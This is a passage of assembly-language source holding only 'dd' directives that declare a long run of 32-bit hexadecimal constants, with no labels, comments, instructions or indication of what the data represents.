		dd 0E6B47AAAh, 9D220021h, 0AE032ABDh, 0F505A72Ch, 5758EDD8h
		dd 0C3C079C7h, 4CC1F82Eh, 9900987Ah, 0C9C674A9h, 180311E7h
		dd 0E2BD2182h, 0D050FF64h, 3F66DB8Dh, 0D58E37AAh, 9531DE5h
		dd 0EC009D88h, 2BE9387Eh, 65705F00h, 0A9CEC584h, 4F7341h
		dd 0B77BAC06h, 0A09236C1h, 0E8EFD909h, 0AE2010CCh, 194B003Bh
		dd 0F6310B4Ah, 2B000487h, 2AB31153h, 49059Ch, 0C223AAFCh
		dd 7A36650Dh, 0EED89800h, 0DA4362D9h, 59FF01BAh, 7BEB9126h
		dd 5E493065h, 7EF8BC50h, 8CD6F30h, 3AC1707Ch, 1080FB53h
		dd 7994D4B1h, 0C3002EE3h, 9DAA5609h, 6E13Ch, 0BCA63FE7h
		dd 36851255h, 0CD218800h, 5DECD670h, 0B11E5022h, 0C882496Dh
		dd 0F63DF700h, 0D10C0B61h, 0C86C690Bh, 0BE3E803Ch, 0E462BAAEh
		dd 79C40056h, 96201EFFh, 937313A0h, 6700C8E4h, 0AF9D4E88h
		dd 0E722ABFh, 0D5E611FFh, 366B2400h, 0D4006080h, 4812E83Ch
		dd 4B4F2A21h, 45B70016h, 0C7250E5Eh, 42B05102h,	0C1660DB6h
		dd 38827B87h, 0AB33C6D6h, 50F1F080h, 3201A1A9h,	0E5093151h
		dd 30F03625h, 0E62FF41Bh, 4B8B1E07h, 6A5B4017h,	3490E3FFh
		dd 0C6D1C403h, 903AE4ECh, 1E96B420h, 40849240h,	1E51F697h
		dd 78B099ACh, 0E9651700h, 0C0C6CA68h, 0BCFC02h,	8A83C1B5h
		dd 0DDDBB7B4h, 84703700h, 0EF9FC382h, 48CB2830h, 8B9B3E94h
		dd 33CC6480h, 38242CBAh, 6C2ACD00h, 0A4537B65h,	4BD60017h
		dd 114322F3h, 0DB31C449h, 9831185Ch, 11965825h,	2898022Eh
		dd 0E040D215h, 84B056E1h, 0E9061D00h, 9F464501h, 0D8C00060h
		dd 8B8AA935h, 6200EB40h, 2B5EDCBFh, 9FEE7Fh, 9827C2E9h
		dd 0B77477DAh, 0B36C5B00h, 0E6F661CDh, 0ECDB000Ch, 6249BA31h
		dd 0E11FF138h, 6A80245Eh, 1B3ABB5Dh, 0E340A0ECh, 61189216h
		dd 2212FE6Dh, 0D02CD1A2h, 0AE3056B8h, 0C07121EDh, 1A6B00E3h
		dd 226DBBC5h, 0B100B2BAh, 1819BFEFh, 17EADDh, 326EDE4h
		dd 0FA1C011Ah, 0AED71D00h, 2E0891C6h, 7013007Eh, 0CA6DE3C2h
		dd 1C1756C5h, 385FE5F6h, 16E46F40h, 0CFAEB2Eh, 4FDF5975h
		dd 6D48A668h, 195D7EF5h, 7B670078h, 0F6C454DAh,	857607Dh
		dd 3AB95D74h, 0D9702554h, 0B220ED42h, 9221C213h, 471F1501h
		dd 0FCC03980h, 274008Dh, 308C1E42h, 0D209EB2Ah,	0F9D360h
		dd 0DAE62232h, 0B0560793h, 0DBDC9265h, 0A3BBD880h, 2207CE01h
		dd 45052CF4h, 9C4ABA60h, 513E00E8h, 0BFF7EEDFh,	28010378h
		dd 6BE40D1Eh, 0C8E4E3CDh, 30F27986h, 3FA0DA0Ah,	6A07DF15h
		dd 0B1D9D493h, 0B8A4B3A0h, 0D4C148ACh, 0BE6DEB02h, 9FC0E14Ah
		dd 0FBE4D588h, 3B009C75h, 36F3AF98h, 4201785h, 0B9C75B13h
		dd 53D890FEh, 6B004F1Fh, 3B2E3EE2h, 45AF519h, 3006465Bh
		dd 96C88861h, 8E1B8B00h, 0CEDE6E7Eh, 0AC28483Fh, 588AA889h
		dd 668060ACh, 24003C10h, 0AD553FE8h, 1C469890h,	0C06994B6h
		dd 8813A923h, 640050DCh, 0E3E08EAh, 27FDD3h, 0BE2B7EF6h
		dd 0FC9019B1h, 0E14B2300h, 820A7C2Eh, 0B9F40096h, 80D3F344h
		dd 0A70089B0h, 9EF7586Ch, 7F1766B5h, 0AB50003Bh, 129161B2h
		dd 7F0E4373h, 436878ADh, 141985h, 3CEFAB48h, 2C2666D6h
		dd 0D7268490h, 0A04F40DFh, 7E320150h, 0E1B96036h, 0F7FB6D5Fh
		dd 38C2ABFCh, 0BAE76Ah,	0B3CB60BBh, 0FFA9B700h,	1D8D04C3h
		dd 0AB690042h, 60A21ED1h, 4A602B73h, 894F1CA8h,	0BE7700DEh
		dd 2183DCF2h, 0DA003328h, 1AEA716Fh, 38B48F10h,	4FB8A1C6h
		dd 0D26B4880h, 0C43C03F6h, 0E70C60B0h, 66CAAA80h, 0A14C0094h
		dd 1105A8D7h, 0DFB065F2h, 6782A90Eh, 77F320B4h,	168F1678h
		dd 0F47F38h, 0F7216664h, 2000E62h, 0B923F8E3h, 0F7A15594h
		dd 4132084h, 0B22CA0D7h, 864EF602h, 0C38F5091h,	765CC894h
		dd 3C2E003Dh, 0FD5B53DCh, 980023F7h, 7EAB844Fh,	2CEBA66h
		dd 0C9EF92B4h, 9482FE77h, 0CC06162h, 910C9D04h,	91713A81h
		dd 0F137007Ch, 1698EA6Eh, 0EC0094F6h, 0C8A83FA5h, 0E2D11F2h
		dd 0E3041B3Bh, 39FAD500h, 3C009FCFh, 7B5483BEh,	1E27AB1Dh
		dd 9DA1Bh, 0FC3FE3E0h, 550297B5h, 833ADB39h, 84FC4974h
		dd 127A04Ch, 9D5EA641h,	0EFE602DCh, 0CF3BE000h,	0E208DECCh
		dd 0EA47075Fh, 0A0822DDBh, 1D419D7Dh, 0F5DA700h, 8CFBC8BAh
		dd 178E6DDh, 1CA1D4D6h,	0E8775F93h, 3E00BC52h, 0E45A0C24h
		dd 3A794996h, 0D6017D17h, 219585A2h, 0A85B2038h, 0D582DB00h
		dd 98A31F3Bh, 6C5E0609h, 90812353h, 859FAF00h, 1B661E12h
		dd 3CC84957h, 54E8E600h, 2B345506h, 29B99A00h, 8D0E7168h
		dd 0B17A1DA5h, 49F5403Eh
		dd 459BD6AAh, 5BFD761Dh, 31EB9540h, 737E71h, 0CD252720h
		dd 2918DC35h, 5C9E81F4h, 94F38000h, 0E498A27Ch,	1DC95883h
		dd 58C16900h, 97B302D9h, 3E095900h, 6BBEEB5Ah, 33C30077h
		dd 0FD88D228h, 3A1E7942h, 0F7C0F012h, 928E57E3h, 754B0104h
		dd 0B7CC61E8h, 0D19F03Bh, 0F6DD1300h, 4A9D259Fh, 72B90FABh
		dd 32037684h, 80F8886Eh, 8700279Eh, 4E8BEA3Eh, 489757D5h
		dd 1500C5A1h, 0E9FF265Bh, 6E1F0392h, 93C0BB28h,	0B1C09FE8h
		dd 0A6B704DDh, 0A090EC78h, 609CA590h, 0E7F1FC60h, 10940A53h
		dd 0DE5DD0h, 0A714D9E3h, 0CB1F1FCCh, 32406095h,	8043C99Ch
		dd 7D582E78h, 0EB3C0195h, 0E4CCF540h, 26075738h, 13D1ECFCh
		dd 891DA09Ah, 2B409787h, 0D82731C3h, 0EE43CFh, 1473BE90h
		dd 0E36265CEh, 481A9138h, 0D3750070h, 6CB9241Ch, 5C95494Ah
		dd 3FC94D00h, 965138D7h, 0FC3D7074h, 0E4BB0053h, 867BBFD3h
		dd 0ABDD0057h, 0F6BDF224h, 0FC0353F9h, 0D8CEC973h, 9D1002F7h
		dd 0AC510AC1h, 6ABD9E60h, 47697E02h, 40B83171h,	18684F8h
		dd 0E54B8295h, 21DA0757h, 7801D8E4h, 0A0AE88h, 0D2B60A1Bh
		dd 255A719Dh, 0B190ECA0h, 6C8F9E00h, 0AFA27867h, 134E3EB9h
		dd 6800033Eh, 74DFE120h, 8F002D64h, 1DA29206h, 3F57D6h
		dd 8C734217h, 5968976Dh, 49E636B8h, 0F6F43350h,	41C45A00h
		dd 0F1256CDCh, 0E48B0024h, 1308F983h, 0B001C6Ah, 0AFE1156Eh
		dd 48532F8Ch, 4400E450h, 0BA77A639h, 0A703B406h, 2427E16Bh
		dd 0FD3DF096h, 0F6B524BEh, 659B0BC4h, 2FE487h, 7B56ACE8h
		dd 86CE6700h, 3AD7D2Dh,	0DF33CDFh, 42D3F880h, 7CE2D197h
		dd 85D5A000h, 2AE86E55h, 143A0026h, 9CAC49C8h, 2CE2D261h
		dd 0E31D803Bh, 0DDA0E6C8h, 0DFA5A061h, 5E9AC460h, 60FC0Ch
		dd 0D14E81E4h, 1C2A6DD9h, 19E9652Bh, 0E55C5EF2h, 0A4B0FC0Dh
		dd 0D13F9500h, 9373B24Ch, 0ABED001Ch, 0C0A0F577h, 0D400EA32h
		dd 0CFDF627Bh, 5870D0h,	0D79669F6h, 0A58EA3FDh,	0FC423Eh
		dd 0A7311BF1h, 0AF4CC8h, 0C5481828h, 59B5EBC9h,	80087D0Fh
		dd 0FB4480B4h, 132F3Dh,	6E05C54Ah, 0B0A89B60h, 307AE658h
		dd 899F385Ah, 0E7950F53h, 0E30072C8h, 4B983517h, 64E8A824h
		dd 4D660382h, 0B856055h, 0A2D34819h, 0CEAAD700h, 0E07282B3h
		dd 1F42EC12h, 0E20F9800h, 0FA9306h, 0C5AF4396h,	3BE48757h
		dd 2FC61507h, 487956E6h, 4922354h, 668D6DC3h, 408A22Ch
		dd 3454E515h, 0B76DB100h, 10A92266h, 224021Fh, 8851345Dh
		dd 28D18AD1h, 856FE8h, 56A7F779h, 7095A10Ah, 0B3F2DCF8h
		dd 4BFEB100h, 0C33B19F4h, 3A490027h, 0B0DB5655h, 791394DEh
		dd 4A07CF1Bh, 0E2C09BDFh, 30220A4h, 0A2E923F0h,	6812382Ah
		dd 8891AA65h, 60400B66h, 33C5EA6Dh, 0E511C04Fh,	3ECF2EC0h
		dd 0D82C38D7h, 0E3D8313Bh, 914C54D9h, 0DBA157F8h, 48C21CEDh
		dd 0E500DE8Dh, 0A9895845h, 8894CF15h, 0C6F4BA60h, 2D7600FEh
		dd 7F85BD38h, 8400FCC9h, 0F105BF55h, 3D5C27BAh,	0CE806591h
		dd 28CB9BCFh, 0B5001153h, 0C673DA51h, 428102h, 8392E61Ch
		dd 5D7F2193h, 0E1548400h, 0A1AAEF0h, 0C7890F19h, 56C07202h
		dd 0C1641FCEh, 0D1668100h, 4ABFD633h, 0E431702Dh, 2F40006Ah
		dd 753B56ABh, 0C10036EFh, 0C2A2E43Fh, 0BD693h, 64217A52h
		dd 5E6ECB13h, 69785Ch, 1DE3CC94h, 15D64406h, 0A4DB510Dh
		dd 0A6D30779h, 0C0AD9976h, 0FE508FB4h, 22E958h,	3A61F758h
		dd 98ACD60h, 4C119C31h,	37ECB603h, 24201BB9h, 602FCA8h
		dd 0B555CF7h, 470861D4h, 0C028E9D5h, 0EE6D1CD3h, 442C81D0h
		dd 0EC0173D0h, 0DC98AA34h, 3160BC00h, 4749C2DBh, 0F4650E6Eh
		dd 0DFA00967h, 7C4157F9h, 0C2883E00h, 0B2F6BC5Dh, 4D6C07FFh
		dd 2D201Fh, 0C12660D8h,	17C49E48h, 0A30FA2A7h, 26C800Fh
		dd 2F37A4h, 0AB45F06Dh,	0E80428BDh, 179C5900h, 4DA62513h
		dd 3A8F00F1h, 0BAF32B54h, 0AE03E5CEh, 13736FA2h, 37F1B895h
		dd 69A40001h, 0D110D7A1h, 0D600472Bh, 9FDA6F2Ah, 58CFE8F6h
		dd 420354FAh, 0B37BD0C7h, 597EB000h, 9DB95B7h, 366E805h
		dd 0E13B6A77h, 0ABB0BAEAh, 0D40015BCh, 8CF99EF6h, 5AC484h
		dd 0A66208Dh, 0D54AA923h, 2511EE00h, 9F9D0157h,	2AFC01DFh
		dd 0C4AB8607h, 4EAC2438h, 2B16800Eh, 0A12FAB61h, 0F2A6D5C0h
		dd 0F1060AEh, 12EFBDA4h, 0FF524782h, 7D001058h,	0C648EFAFh
		dd 0DF5ADD8h, 0E76E9823h, 0ECE8EA59h, 0DD0084A0h, 0B69E968Ch
		dd 4806FE6Ch, 0D3003214h, 53D0C55Fh, 3E3BC07Bh,	0B12BE24h
		dd 91F279h, 104FD864h, 44F80020h, 30082B7Eh, 0C73F36F6h
		dd 0FDEF0B19h, 0A5E04041h, 0A35612CBh, 95B89060h, 0BC4A4F8Ah
		dd 6C4AB021h, 2433E07Ah, 9FFEE000h, 0A1F38F42h,	0B0A90750h
		dd 40A3AC7Ah, 43DDCC85h, 0FB151000h, 0BEE8B370h, 0D4F30772h
		dd 615966D6h, 479B610Ah, 0BA67E0DCh, 0F9C0222Fh, 55088065h
		dd 950F05B7h, 0C0DDE0AAh, 4590FAD1h, 78C27100h,	0AEE71547h
		dd 2FD10AB4h, 1E412A1h,	7BB9DE1Bh, 3005C948h, 210008EDh
		dd 17876677h, 0F96E72h,	792938A2h, 92F4C2FFh, 0EF2A0500h
		dd 0C28522Eh, 0E29E011Ch, 83D8031Dh, 71E0E0F3h,	0F7D94100h
		dd 57AA5CFCh, 0B6C4005Bh, 9822BC17h, 0B9C46248h, 9E2099FAh
		dd 0DD58F1A7h, 3CDB0044h, 38CEEE45h, 74E748F7h,	648F5939h
		dd 0F9007A60h, 1D0E5F1Bh, 8B669F00h, 4D6DB4F7h,	4B8A24A2h
		dd 0DECA0077h, 0CBC7758Dh, 0AB6CEF1Fh, 6AC41682h, 0B0582Ch
		dd 1D93709Ah, 571B7DB5h, 0C0BB4F26h, 0F8988192h, 0E2F01591h
		dd 7A00E417h, 1C926BC5h, 0A0030B7h, 0A18A8702h,	54A4783h
		dd 0F296C7DBh, 0F5F4824Dh, 0F4682462h, 0FF09A02Fh, 0C11E23AAh
		dd 0DBFCD2B0h, 477000AEh, 6F48D77Eh, 2109EB10h,	80D01FA3h
		dd 3CD51DD5h, 23B20BABh, 708EEC77h, 0DF5CEAF8h,	83B3E407h
		dd 46B0C6ADh, 0C412FFA6h, 0C0ABCD40h, 8E0F6E8h,	7874B300h
		dd 26755BB9h, 495500E8h, 1F2EBEADh, 0CB00841Ch,	9CAB7BB0h
		dd 3514C1h, 6C5ECD80h, 703F60C4h, 0F8A83D01h, 2E39C881h
		dd 52075C8h, 596CBA0Eh,	66F8B0C7h, 0AB73C900h, 2C82A86Ah
		dd 1D2A4A92h, 3B6CC0ECh, 75798DEBh, 43C9CE00h, 3D5EA66Eh
		dd 0DA7E0F16h, 0F34F5811h, 377C3FA0h, 86E2B244h, 60AFB901h
		dd 0A7256CBCh, 4AEA9464h, 0B3D005D7h, 67B0415Ch, 50136C33h
		dd 0A861DECh, 7E93C600h, 0DCDFAE2h, 9A0B7C67h, 94C0002Ch
		dd 5FF5246Ah, 32005A42h, 0DE4867C6h, 9A596449h,	7617AF4h
		dd 75B995DBh, 5F919044h, 8B7207CCh, 14AB49h, 76EB1479h
		dd 26C96EC6h, 3EAE6526h, 1CC37380h, 0A9CC25B0h,	802E233Fh
		dd 991372F2h, 916CD28h,	0E8BA807Dh, 0B295CC43h,	3285056Ch
		dd 1080CC16h, 4099D5h, 0AD4A21EEh, 0D89BAF9Ch, 0A938B600h
		dd 0EA36F939h, 37661E64h, 5AF6DD21h, 6C80501Ch,	94E28BE5h
		dd 61655Ch, 47CDF79Eh, 3875674h, 0E84CDA55h, 0C6D8694Eh
		dd 3200FF72h, 82ADD42Dh, 0DEF42Bh, 8DDB6570h, 0ECF353F0h
		dd 55858C00h, 6AC3952Dh, 64120020h, 0D5D2E3AEh,	0B900AF15h
		dd 0F6508232h, 4ED421h,	751B8C72h, 0F8F20556h, 0B0877902h
		dd 0F52D132Ch, 600AA040h, 0AB40739h, 0A0AE46F3h, 0EAC0D000h
		dd 7C774E37h, 42944C84h, 5897F001h, 0F4E01F6Eh,	6F00F4E8h
		dd 51E1F6CCh, 4A292Eh, 8205904Ch, 45017D31h, 1F00337Eh
		dd 403FECDBh, 0BFDB74Dh
		dd 0BF9C6CC2h, 0CA27CA00h, 8C0093C7h, 63EA13D3h, 0B9ADB0h
		dd 8868247Eh, 2A74607Ch, 0FA45801Ah, 0FA70F028h, 0B67D00FBh
		dd 0BC94BACBh, 91EC148Ah, 60037E98h, 44A5FFC7h,	0B0B3A06Eh
		dd 293F0026h, 0D3F7C04Dh, 6501189Dh, 1943FEC4h,	24281A04h
		dd 0F9648102h, 0BC60E480h, 9E004B4Eh, 9904062Fh, 69CADBh
		dd 0AE8A9BC6h, 19B1A4F6h, 2505A00h, 0CC13442Bh,	0D0DB1266h
		dd 0D7D0A075h, 522370Bh, 25BC6457h, 342310FDh, 18F8F23Eh
		dd 0E1EFAFBh, 3AC95D77h, 21444424h, 0AA1016E2h,	1CB2221Dh
		dd 1880188Eh, 10C0A223h, 1CC29FE7h, 6720C139h, 7868E5AAh
		dd 0FA1F7820h, 7428DA3Bh, 740F3D00h, 0CCF62455h, 186B12E2h
		dd 0D8460E7Fh, 0C0565444h, 0E410DE71h, 3D143390h, 4C1A3Ah
		dd 0EA5C3E50h, 3EE9033Fh, 68834D5Ah, 3823C99Bh,	4C04AE8h
		dd 0ADD9B200h, 6CA28431h, 707F8E1h, 67E635E2h, 0A3C48325h
		dd 6F6057B2h, 0E00C10Dh, 2E289D8Eh, 0E24D8DA7h,	0D3C33955h
		dd 5BE08800h, 0D8CE73Ah, 9376E8A0h, 3F174300h, 0A36B4124h
		dd 3D1C1E4Eh, 0FC1000CFh, 84E14B7Fh, 8009B73Ch,	9CFFC494h
		dd 0E4DC67h, 407504CDh,	0BF3B030Ah, 3AEF0D0Eh, 39B20779h
		dd 815788A0h, 0A29F004Eh, 0DFCB5B5Ah, 9B003DADh, 4FC9E2B6h
		dd 0B8BCC0ACh, 8E890304h, 2758D3D1h, 45403BE8h,	4369E300h
		dd 0F9B63E64h, 0B396004Fh, 0E4834754h, 0B800FE33h, 37B00336h
		dd 0A1B06h, 0F4AFF0A8h,	2471C50Ch, 36FDCA00h, 797D37F9h
		dd 237A11h, 0AC1EDE3Fh,	525AD034h, 0E5147700h, 27A2B403h
		dd 718303B1h, 0A84B0267h, 4DB559D8h, 0F9F88D00h, 0CB6D31BAh
		dd 0D52D2CF3h, 0A2440036h, 0A7C25D5Fh, 174FE800h, 0DE16A8B4h
		dd 8D8E036Dh, 0A0FD38C8h, 2736AEF0h, 23D10500h,	0CD29C75Eh
		dd 3DEE18CFh, 6375405Ch, 0B9021F00h, 8A89DCEAh,	81080035h
		dd 3F7EB6E9h, 540C8FB1h, 90417931h, 843203F9h, 5CF815C1h
		dd 4EBC801Ch, 0F301FB12h, 5448A41Ah, 286CB440h,	0E4213FC0h
		dd 0C6231300h, 0A67A64D6h, 1B4EF31Eh, 9A3AF100h, 8B52B1h
		dd 18D09305h, 0C25812D7h, 0E13D7300h, 2DA4547Ch, 13A83344h
		dd 2D82218h, 0A6005107h, 6C4C41C4h, 2EF2FBFAh, 0CEF573h
		dd 0EF1A7D11h, 88C868EDh, 0F63B0023h, 0BD730246h, 0D5D16100h
		dd 0EAA0801Eh, 0FD932669h, 0FF5500D4h, 3816EBC8h, 0DD9E7703h
		dd 0F0499D36h, 15AFBFh,	0C89B6EB8h, 0F158691Eh,	0BB7C6518h
		dd 1104F99h, 0F9E44B5Dh, 9E2FC582h, 95C0EA70h, 870E63BAh
		dd 0F4A10ED2h, 8B602273h, 0DB1C0551h, 2F401061h, 0F6DF0676h
		dd 6F380111h, 64AE447Eh, 8D0CFC6h, 8501793Fh, 0F0B04A45h
		dd 9BC8F51Fh, 2E7209F4h, 0A6059646h, 49AC0018h,	771BA6EAh
		dd 869CC41Ah, 3460F7C0h, 96A00245h, 5F0015D3h, 0F0AEB37h
		dd 0B5D8C712h, 13CC9D60h, 0DCBC4500h, 0D2145EB4h, 0D38F004Dh
		dd 85DDC920h, 0F3007D71h, 0C3BD7068h, 1AC6203h,	79814A74h
		dd 40E2C5D5h, 64908EBCh, 7376F3Ah, 3C2BBDF2h, 14CD32C1h
		dd 0C5F620h, 0B6C32410h, 0A2B23EEAh, 3707A500h,	25825685h
		dd 340004Eh, 1ADD274Bh,	4A9A1D13h, 0E5118F00h, 0C340257Dh
		dd 7CB10FCBh, 8A6091B9h, 0DC8762EFh, 6718E372h,	83F884F0h
		dd 0E6340051h, 0C34E0A1Fh, 353F18D7h, 0CD8A8713h, 413088F9h
		dd 2CC075Ah, 0E9267E01h, 8868D6C8h, 0A1140F45h,	0AC19A0h
		dd 0D29464C0h, 0BC7808h, 0C5BB4F15h, 0CC0F1279h, 0E35E3F2Eh
		dd 52C91100h, 3C3559h, 0A16A265Bh, 144E5551h, 9987BF00h
		dd 47F73AC0h, 371100E9h, 0A9730832h, 0EB018E52h, 3FA4693Ch
		dd 0C08085FAh, 70C2A36Ch, 5E00A809h, 64B0DD36h,	37E82815h
		dd 0A19817EBh, 0DD19A177h, 9A84F895h, 40C0B66Fh, 15F8FDF9h
		dd 0A7B00033h, 4B1ABAEEh, 413C92AEh, 83CF0497h,	1C91222Eh
		dd 873BE946h, 7EE21199h, 2C19CCD3h, 340A3600h, 7A5008E1h
		dd 0CC40012h, 0C1A58ABAh, 11001D78h, 5D44EC15h,	3A560A9Ah
		dd 0B8005FC8h, 12C5C348h, 0CA709D14h, 1B2E3C01h, 0C6034E6h
		dd 3821B8C3h, 6A9500EBh, 87B9CC68h, 0B6008CA4h,	8E64AFACh
		dd 7F49436h, 0A399D050h, 0BB01101Ah, 0CA00905Fh, 0D6021E1Bh
		dd 0C0B71DB5h, 4020EAF0h, 44002988h, 114DA85Fh,	4DDE9A6h
		dd 0A595D2B9h, 0F04C80D4h, 23E6FB82h, 1B39CF01h, 61DF522Ah
		dd 3B33F8ECh, 9887AB99h, 203245BFh, 0A3B013E9h,	0BA63E301h
		dd 0AE7AF34Dh, 6B4BD0h,	1B18583Bh, 96E7D4C0h, 1EC8B53Dh
		dd 0FD80D9BCh, 867F879Bh, 3FD800E8h, 16240456h,	6E0643FFh
		dd 8B28EAC4h, 62E224CEh, 5DB1D1Ah, 433C7B54h, 4839AAE0h
		dd 653A5197h, 6F082087h, 0AB67B200h, 0AD6990C8h, 0C2A203A5h
		dd 0ED51BC58h, 2030D1E9h, 741C1581h, 20581945h,	0FFCA638h
		dd 4C441C84h, 9ED92820h, 0A300484Ah, 0ABD11A3Eh, 0AC946Dh
		dd 885CF1C1h, 13E4CD53h, 971460F3h, 0FC7E7800h,	6C253B9Bh
		dd 9E4903F4h, 0C6449532h, 141718E0h, 99CCA000h,	3A37F019h
		dd 7343161Bh, 44084065h, 1C6B5D67h, 0D0C77107h,	0E04FE3A0h
		dd 0AE82A4D6h, 9E8C0123h, 80985A9Ah, 5FA8403Ah,	0F0169033h
		dd 0C7B0DF4Ch, 301848D3h, 95597700h, 72924211h,	24C7DD03h
		dd 0D0D8ADD7h, 77BFCB39h, 690800EBh, 0D470F1A8h, 570EF294h
		dd 1D507ADCh, 9E2EA940h, 0F8FFD90Ch, 0B2DD0B90h, 88E639Ch
		dd 4C4BA2C0h, 4600D512h, 5B9B9FDBh, 61DA34h, 199768Ah
		dd 1C3B9AD4h, 950C84Ch,	97FD6B8h, 15B40134h, 0B6E433E0h
		dd 0E944127Dh, 88B040F8h, 9049EF9Ch, 2ED3FB03h,	0E0FE17C4h
		dd 2DBBEh, 0B12414F9h, 8C6886A6h, 894FD938h, 9A824Bh, 437CF6A8h
		dd 0E80C03F8h, 0BB3A420h, 5917C6D8h, 0C35B2C01h, 9470294Eh
		dd 1DEFF2E8h, 807EDA9Ch, 5AB721A4h, 490E627Fh, 60B3AEFDh
		dd 0D951F934h, 0BA2000CBh, 31641DADh, 0B400B72Eh, 3D463B8Ch
		dd 125E0E7h, 155ED06Ah,	3449E49Bh, 6F00AB8Ch, 0B1DC08DBh
		dd 90B24319h, 8B8A03BFh, 0D3F69634h, 81363AB9h,	43711780h
		dd 0F7DCB18Ch, 0BF652E4Fh, 3D2300A0h, 9BE5CC74h, 0B4AB5E12h
		dd 68551403h, 9E9C1BFh,	1F50119Eh, 9E340586h, 0E0400B42h
		dd 3857F020h, 55309ABFh, 147D3808h, 4BB420BEh, 3826C900h
		dd 5CB631EFh, 0E102221Ah, 0D37D9212h, 789AB440h, 9506A4Ah
		dd 5FD7C052h, 9850EF0Ch, 1A32551Dh, 6D111CA8h, 5C309F92h
		dd 0B2840430h, 30A411E8h, 0C24DF500h, 4FBDEC6Fh, 0BB99287Dh
		dd 0FD9E33B0h, 84D0E3A0h, 0B2006856h, 91A3FAC9h, 1E11C1h
		dd 78B89DC3h, 0D8A672D0h, 0FE3F7900h, 5368938Dh, 0C87B005Bh
		dd 0B492E04Ah, 470F1648h, 0C0F0BC21h, 67C683BEh, 0C9800B2h
		dd 7EE0E16Fh, 0F5014A3Bh, 0F74FD549h, 87433AC1h, 98BB93h
		dd 2381BBC9h, 0C09A521Fh, 821A3C19h, 2180A008h,	4F2399D8h
		dd 0D00C3F9h, 390E246Fh, 67C2D430h, 87F1CAh, 42E16726h
		dd 558EDD00h, 3E910ED5h, 0C352003Ah, 0B4A5F36Fh, 1631BD17h
		dd 51AB18B8h, 331DC34h,	4CBEACBFh, 0DD81EE6h, 3233BD14h
		dd 649B28A7h, 6092B889h, 7B1A2380h, 0AE448C52h,	239803D9h
		dd 366D1142h, 6006F2BBh, 0CC8726E1h, 561F0CA8h,	2318F041h
		dd 0C42F2E10h, 2AEC5004h, 967888B3h, 0E500FE72h, 9F58763Fh
		dd 0E85CA637h, 0F421CF41h, 940E40FCh, 458F5517h, 0D0C84F03h
		dd 16CB33Bh, 84546AF8h,	80F623D3h, 0B0944B10h, 134F872h
		dd 978B7771h
		dd 0C6AB3709h, 605542F5h, 94325Fh, 0D65C48EAh, 0CA3BF0C6h
		dd 0E38C5A00h, 0B69C180Eh, 88F70046h, 8E7AEC35h, 0F30040DCh
		dd 22F44EFFh, 0D31B51h,	0A42748ADh, 8C3F63F8h, 0D69BCF00h
		dd 139F1E54h, 58C50017h, 0B134E3C6h, 931FB4F0h,	5C80A9AAh
		dd 0CD445BC4h, 1AF100A3h, 439BA81Dh, 410E1C56h,	51B413h
		dd 384B90DFh, 8AD10098h, 3C259E7h, 0C500E1D9h, 9D63613Fh
		dd 726AEB5h, 6DF0AB46h,	0A7E80307h, 0C0935FB1h,	5E288CEDh
		dd 1126CA6Ch, 3A009920h, 9425C910h, 88D100B5h, 36277AD3h
		dd 13003D4Ah, 5D22B3CEh, 17D775h, 301AEB46h, 7953EF88h
		dd 56044100h, 0EE981BD5h, 0C40F0054h, 0E30E0AA8h, 850384D4h
		dd 48CCBC55h, 0FAADF05Ah, 0F5780023h, 4EB635CEh, 0A80004B1h
		dd 9F936DD9h, 0E399FEh,	0AAE46AC8h, 824C788Ah, 0F5A21803h
		dd 0F128525h, 0DDAE0A11h, 6BADCBA0h, 811486B0h,	0C83652h
		dd 83D15D6Fh, 0F9B229Eh, 70E6A6B8h, 0C486D660h,	7A302440h
		dd 811E1076h, 0CE040006h, 757D80EDh, 0AFE46A78h, 7E5031C0h
		dd 753CEC9Bh, 4E21C0F3h, 0E03394EBh, 0C01C730Fh, 78D0AC37h
		dd 0DFE1Fh, 0BBAC9B42h,	799CF95Bh, 6B6D4A00h, 0CEA89F95h
		dd 0A5570045h, 0E7FD2980h, 0BA00EA42h, 0F3F49E20h, 3583B9h
		dd 1F4D1065h, 803CE9EBh, 0C7D4E501h, 4F1CE06Fh,	167B3EDCh
		dd 0A0FD41BFh, 2A0033D8h, 0EA5375DAh, 0A01D5C69h, 7712A8h
		dd 0CF7D942h, 4AFEC16Dh, 55C9B000h, 48C3964h, 95FA0014h
		dd 0AF1C2E2Fh, 9B148E77h, 0A042FBh, 9885D7DAh, 0FB305860h
		dd 2CD22824h, 0E700341h, 8AE0C67Fh, 0E03B5971h,	44DFBF00h
		dd 977CFAB5h, 0CDC50084h, 4D7AD2ABh, 9B00522Bh,	0B92D1E0Eh
		dd 46ED3F5h, 0C594B57Dh, 600EC71Fh, 0F059BE50h,	0C071BB2Dh
		dd 2A56D7B1h, 1CC494B0h, 0CA06E8h, 0E137FD53h, 0C4002C8Ch
		dd 0A1B274A9h, 4292C6h,	868FD9E2h, 0CF502387h, 0CC6F2F28h
		dd 84F34C00h, 0C9061CFBh, 0A8574F56h, 0B15E1280h, 73D1B703h
		dd 6224A86Eh, 4615012Ah, 2CEC55BEh, 0D099E94Dh,	1A00A4CDh
		dd 66AB1251h, 73505B6h,	4EC7F596h, 0BB92002Dh, 2500F398h
		dd 0CCF661D6h, 0E4631Fh, 2B91A097h, 6EF4D2C2h, 0D4DDBAFEh
		dd 0CF3A3144h, 12E66480h, 9CF501B4h, 0D5502214h, 0B9BF5Bh
		dd 0F057E1DDh, 0E059EEADh, 1231E05Eh, 4079234Dh, 0B5511B60h
		dd 2600AACFh, 0E0DF3402h, 7077CDEh, 0D7798285h,	0FBC5F0A8h
		dd 3F3DB058h, 0F7B42665h, 720CA200h, 93C07Eh, 828BE1C4h
		dd 8A12AFB8h, 0F97EBFFAh, 0CD311107h, 6FB0ACDEh, 3560381h
		dd 0BBEA04CBh, 9DC89CC9h, 0AB0301C1h, 0A1E860A5h, 0B37AB376h
		dd 5BDE982Dh, 56FA00A2h, 3D166A13h, 7E181A42h, 0E2101CBBh
		dd 0AA190EE9h, 904BAD94h, 30299600h, 8378C49Ch,	6F394463h
		dd 0DEFD8048h, 18E603DDh, 0BF8D12BCh, 6935BDA0h, 3B9AC3Ch
		dd 0E1566C2Bh, 0E3FEA8F0h, 0BC7100EAh, 600A6D2Fh, 8C77660Ch
		dd 10514Dh, 5A809656h, 0EC19A5ADh, 0BFD000B3h, 700E849Dh
		dd 0F900C7CBh, 4981795Ch, 3CA8B0h, 0DF025920h, 297CA9E7h
		dd 0E8B139h, 0D88370EEh, 0E83CFAA0h, 0B46E00D4h, 0F17E69B8h
